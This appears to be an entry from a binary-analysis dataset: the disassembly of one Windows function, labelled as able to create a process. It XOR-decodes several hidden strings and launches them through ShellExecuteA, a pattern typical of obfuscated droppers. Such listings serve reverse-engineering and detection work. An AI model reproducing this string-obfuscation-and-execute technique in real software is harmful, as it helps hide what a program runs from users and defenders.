Function at 0x402d74
Capabilities:
Create process on windows

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x11c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xec], ecx
mov edx, dword [eax + 4]
mov esi, dword [eax]
lea eax, [ebp - 0xe8]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x30], edx
lea ebx, [esi + edx]
cmp edx, 7
jbe 0x402dcf
lea eax, [ebp - 0x30]
xor edi, edi
lea ecx, [ebp - 0xf0]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004b76e0
push edx
push edx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xe8], edx
mov ecx, esi
mov esi, eax
cmp ecx, ebx
je 0x402de5
movsx di, byte [ecx]
add esi, 2
inc ecx
mov word [esi - 2], di
jmp 0x402dd3
mov dword [ebp - 0xec], edx
mov word [eax + edx*2], 0
mov dword [esp], 0x4db2e4
call fcn.00419690
mov dword [esp], 0x4db2d4
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
jne 0x402e2e
xor edx, edx
mov esi, 0x537faa
mov ecx, 7
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
lea edx, [eax + 0xa]
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x402e7f
lea ecx, [eax + 0xa]
mov bl, 0x7f
mov edx, dword [eax + 4]
mov edi, dword [eax]
lea esi, [edx + 1]
cmp esi, edi
jne 0x402e48
inc edx
jmp 0x402e72
lea esi, [edx + 2]
cmp esi, edi
jne 0x402e54
add edx, 2
jmp 0x402e72
cmp edx, edi
jne 0x402e5c
xor byte [ecx], bl
jmp 0x402e78
lea esi, [edx + 4]
cmp edi, esi
jne 0x402e68
add edx, 3
jmp 0x402e72
lea esi, [edx + 5]
cmp edi, esi
jne 0x402e78
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x402e39
inc ebx
inc ecx
cmp bl, 0x9b
jne 0x402e39
mov byte [eax + 9], 1
add eax, 0xa
lea ecx, [ebp - 0x30]
mov dword [esp], eax
call fcn.00401616
push ebx
mov esi, dword [ebp - 0xec]
lea eax, [ebp - 0x58]
xor edi, edi
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0xf0]
add esi, esi
mov dword [ebp - 0x5c], edi
mov edx, esi
sar edx, 1
mov dword [ebp - 0x48], edx
cmp esi, 0x1e
jbe 0x402ed6
xor ecx, ecx
lea eax, [ebp - 0x48]
mov dword [esp + 4], ecx
lea ecx, [ebp - 0x60]
mov dword [esp], eax
call fcn.004b3350
push edx
push edx
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x58], edx
add esi, ebx
cmp esi, ebx
je 0x402ee8
mov dx, word [ebx]
inc eax
add ebx, 2
mov byte [eax - 1], dl
jmp 0x402ed8
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x5c], eax
mov byte [edx + eax], 0
mov dword [esp], 0x4db2c4
call fcn.00419690
mov dword [esp], 0x4db2b4
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
mov edx, eax
jne 0x402f34
xor eax, eax
mov esi, 0x537fea
mov ecx, 0xea
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x402f8b
lea ecx, [edx + 0xa]
mov esi, 0x7f
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x402f51
inc eax
jmp 0x402f7d
lea edi, [eax + 2]
cmp ebx, edi
jne 0x402f5d
add eax, 2
jmp 0x402f7d
cmp ebx, eax
jne 0x402f67
mov eax, esi
xor byte [ecx], al
jmp 0x402f83
lea edi, [eax + 4]
cmp ebx, edi
jne 0x402f73
add eax, 3
jmp 0x402f7d
lea edi, [eax + 5]
cmp ebx, edi
jne 0x402f83
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x402f42
inc esi
inc ecx
mov eax, esi
cmp al, 0x69
jne 0x402f42
mov byte [edx + 9], 1
add edx, 0xa
lea ecx, [ebp - 0x90]
mov dword [esp], edx
call fcn.00401616
push eax
mov dword [esp], 0x4db2a4
call fcn.00419690
mov dword [esp], 0x4db294
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
mov edx, eax
jne 0x402fe1
xor edi, edi
lea eax, [eax + 0xa]
mov esi, 0x5380ea
mov ecx, 0x23
mov dword [eax - 0xa], edi
mov dword [eax - 6], edi
mov dword [eax - 2], edi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x403038
lea ecx, [edx + 0xa]
mov esi, 0x7e
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x402ffe
inc eax
jmp 0x40302a
lea edi, [eax + 2]
cmp ebx, edi
jne 0x40300a
add eax, 2
jmp 0x40302a
cmp ebx, eax
jne 0x403014
mov eax, esi
xor byte [ecx], al
jmp 0x403030
lea edi, [eax + 4]
cmp ebx, edi
jne 0x403020
add eax, 3
jmp 0x40302a
lea edi, [eax + 5]
cmp ebx, edi
jne 0x403030
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x402fef
inc esi
inc ecx
mov eax, esi
cmp al, 0xa1
jne 0x402fef
mov byte [edx + 9], 1
add edx, 0xa
lea ebx, [ebp - 0xc0]
mov dword [esp], edx
mov ecx, ebx
call fcn.00401616
push esi
mov eax, dword [ebp + 8]
mov ecx, ebx
mov dword [esp], eax
call fcn.004b19b0
push edx
lea ecx, [ebp - 0xa8]
lea esi, [ebp - 0x78]
mov dword [esp], eax
call fcn.004b3660
lea eax, [ebp - 0x90]
push ecx
mov dword [esp + 8], eax
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.004cebe0
lea edi, [ebp - 0x48]
lea eax, [ebp - 0x60]
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], edi
call fcn.004cebe0
lea eax, [ebp - 0xd8]
lea edx, [ebp - 0x30]
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.004cebe0
mov ecx, edi
call fcn.004b03d0
mov ecx, esi
call fcn.004b03d0
lea ecx, [ebp - 0xa8]
call fcn.004b03d0
mov ecx, ebx
call fcn.004b03d0
lea ecx, [ebp - 0x90]
call fcn.004b03d0
lea ecx, [ebp - 0x60]
call fcn.004b03d0
lea ecx, [ebp - 0x30]
call fcn.004b03d0
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x100], eax
mov dword [esp], 0x4db324
call fcn.00419690
mov dword [esp], 0x4db314
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
mov edx, eax
jne 0x403142
xor edi, edi
lea eax, [eax + 0xa]
mov esi, 0x537f72
mov ecx, 0xf
mov dword [eax - 0xa], edi
mov dword [eax - 6], edi
mov dword [eax - 2], edi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x403199
lea ecx, [edx + 0xa]
mov esi, 0xffffff80
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x40315f
inc eax
jmp 0x40318b
lea edi, [eax + 2]
cmp ebx, edi
jne 0x40316b
add eax, 2
jmp 0x40318b
cmp ebx, eax
jne 0x403175
mov eax, esi
xor byte [ecx], al
jmp 0x403191
lea edi, [eax + 4]
cmp ebx, edi
jne 0x403181
add eax, 3
jmp 0x40318b
lea edi, [eax + 5]
cmp ebx, edi
jne 0x403191
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x403150
inc esi
inc ecx
mov eax, esi
cmp al, 0x8f
jne 0x403150
lea eax, [edx + 0xa]
mov byte [edx + 9], 1
mov dword [ebp - 0xfc], eax
mov dword [esp], 0x4db304
call fcn.00419690
mov dword [esp], 0x4db2f4
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
mov edx, eax
lea ecx, [eax + 0xa]
jne 0x4031e4
xor esi, esi
mov dword [eax + 8], esi
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 0xa], 0xe2ecf4f2
mov word [ecx + 4], 0x85f7
mov byte [ebx], 1
cmp byte [edx + 9], 0
mov esi, 0xffffff80
jne 0x403238
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4031fe
inc eax
jmp 0x40322a
lea edi, [eax + 2]
cmp ebx, edi
jne 0x40320a
add eax, 2
jmp 0x40322a
cmp ebx, eax
jne 0x403214
mov eax, esi
xor byte [ecx], al
jmp 0x403230
lea edi, [eax + 4]
cmp ebx, edi
jne 0x403220
add eax, 3
jmp 0x40322a
lea edi, [eax + 5]
cmp ebx, edi
jne 0x403230
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4031ef
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4031ef
xor eax, eax
mov byte [edx + 9], 1
add edx, 0xa
lea esi, [ebp - 0xd8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x100]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xfc]
mov dword [esp + 4], edx
xor edx, edx
mov dword [esp + 8], eax
mov dword [esp], edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
mov ecx, esi
call fcn.004b03d0
lea ecx, [ebp - 0xf0]
call fcn.004b4970
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret